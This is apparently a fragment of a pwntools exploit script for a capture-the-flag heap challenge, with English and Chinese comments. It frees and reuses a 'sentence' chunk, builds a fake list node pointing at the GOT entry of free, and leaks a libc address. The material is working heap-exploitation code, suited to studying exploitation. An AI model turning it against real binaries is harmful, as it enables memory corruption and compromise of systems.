# this sentence is the same size as a list node
index_sentence(('a'*12 + ' b ').ljust(40, 'c'))
# delete the sentence
search('a' * 12)
p.sendline('y') #删除node->sentence，而且sentence_size ==node_size，下面在申请node的时候就可以申请到这里的sentence_chunk。
# the node for this sentence gets put in the previous sentence's spot.
# note we made sure this doesn't reuse the chunk that was just freed by
# making it 64 bytes
index_sentence('d' * 64) #确保当前的sentence_size与node_size也就是之前的sentence_size不同，这样就可以将新node分配到之前的sentence_chunk中。
# free the first sentence again so we can allocate something on top of it.
# this will work because 1) the sentence no longer starts with a null byte
# (in fact, it should be clear that it starts a pointer to 64 d's), and 2)
# the location where our original string contained `b` is guaranteed to be
# zero. this is because after the original sentence was zeroed out, nothing
# was allocated at offset 12, which is just padding in the structure. if
# we had made the first word in the string 16 bytes instead of 12, then that
# would put 'b' at a location where it would not be guaranteed to be zero.
# make our fake node
node = ''
node += p64(0x400E90) # word pointer "Enter"
node += p64(5) # word length
node += p64(0x602028) # sentence pointer (GOT address of free)
node += p64(64) # length of sentence
node += p64(0x00000000) # pre pointer is null 设置第三次添加的node的pre_link为0，不再向上索引。
assert len(node) == 40
# this sentence gets allocated on top of the previous sentence's node.
# we can thus control the sentence pointer of that node and leak memory.
# this simply receives all input from the binary and discards it, which
# makes parsing out the leaked address easier below.
# leak the libc address
p.recvuntil('Found 64: ')
leak = u64(p.recvline()[:8])
p.sendline('n') # deleting it isn't necessary